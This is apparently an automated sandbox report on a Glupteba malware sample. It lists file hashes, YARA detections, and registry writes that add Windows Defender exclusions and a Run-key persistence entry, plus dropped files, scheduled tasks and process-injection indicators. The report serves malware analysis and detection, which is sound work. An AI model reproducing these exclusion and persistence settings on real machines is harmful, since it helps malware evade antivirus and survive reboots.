Analysis
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max time kernel
148s -
max time network
155s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
25-11-2022 09:24
Static task
static1
Behavioral task
behavioral1
Sample
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Resource
win7-20220812-en
General
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Target
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
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Size
3.8MB
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MD5
eea23ae4a9b1b328d815f93a7ce6cc7b
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SHA1
a7ad3ab55fd96480dcb6de3c0670ebe533ff6fff
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SHA256
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904
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SHA512
9daf8b9ddd76137faa2287d6a136236be0c04667f4196f9ffb633f6a35e6c866c5c8a912f5cdb174b8ccd3dc2a1f7e7979874021dc47315ddeffc55f90e99cac
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SSDEEP
98304:uSUWsCvxkFWk1R5N+kTncjlGwEuwt8XqUKT2no2UefXXv1PGpg9T:uYsCvxwdlOlGU3XqUu2fRfX9Gpg9
Malware Config
Signatures
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Glupteba payload 9 IoCs
Processes:
resource yara_rule behavioral1/memory/1092-56-0x0000000003830000-0x0000000003F22000-memory.dmp family_glupteba behavioral1/memory/1092-57-0x0000000000400000-0x000000000314B000-memory.dmp family_glupteba behavioral1/memory/1092-58-0x0000000000400000-0x000000000314B000-memory.dmp family_glupteba behavioral1/memory/1092-60-0x0000000000400000-0x000000000314B000-memory.dmp family_glupteba behavioral1/memory/988-65-0x0000000000400000-0x000000000314B000-memory.dmp family_glupteba behavioral1/memory/988-66-0x0000000000400000-0x000000000314B000-memory.dmp family_glupteba behavioral1/memory/988-72-0x0000000000400000-0x000000000314B000-memory.dmp family_glupteba behavioral1/memory/2000-74-0x0000000000400000-0x000000000314B000-memory.dmp family_glupteba behavioral1/memory/2000-75-0x0000000000400000-0x000000000314B000-memory.dmp family_glupteba -
Processes:
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\EpicNet Inc\CloudNet = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\WispySun = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cloudnet.exe = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exepid process 2000 csrss.exe 1320 patch.exe 1276 -
Modifies Windows Firewall 1 TTPs 1 IoCs
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Loads dropped DLL 9 IoCs
Processes:
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exepatch.exepid process 988 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe 988 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe 860 1320 patch.exe 1320 patch.exe 1320 patch.exe 1320 patch.exe 1320 patch.exe 1276 -
Processes:
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\EpicNet Inc\CloudNet = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\WispySun = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cloudnet.exe = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Windows\CurrentVersion\Run\WispySun = "\"C:\\Windows\\rss\\csrss.exe\"" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in Windows directory 3 IoCs
Processes:
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exemakecab.exedescription ioc process File opened for modification C:\Windows\rss 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe File created C:\Windows\rss\csrss.exe 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe File created C:\Windows\Logs\CBS\CbsPersist_20221125162529.cab makecab.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1500 schtasks.exe 1948 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-22 = "Cape Verde Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.execsrss.exepid process 1092 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe 988 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe 2000 csrss.exe 2000 csrss.exe 2000 csrss.exe 2000 csrss.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.execsrss.exedescription pid process Token: SeDebugPrivilege 1092 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Token: SeImpersonatePrivilege 1092 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Token: SeSystemEnvironmentPrivilege 2000 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.execmd.exedescription pid process target process PID 988 wrote to memory of 316 988 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe cmd.exe PID 988 wrote to memory of 316 988 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe cmd.exe PID 988 wrote to memory of 316 988 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe cmd.exe PID 988 wrote to memory of 316 988 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe cmd.exe PID 316 wrote to memory of 1436 316 cmd.exe netsh.exe PID 316 wrote to memory of 1436 316 cmd.exe netsh.exe PID 316 wrote to memory of 1436 316 cmd.exe netsh.exe PID 988 wrote to memory of 2000 988 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe csrss.exe PID 988 wrote to memory of 2000 988 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe csrss.exe PID 988 wrote to memory of 2000 988 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe csrss.exe PID 988 wrote to memory of 2000 988 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe csrss.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe"C:\Users\Admin\AppData\Local\Temp\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe"C:\Users\Admin\AppData\Local\Temp\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
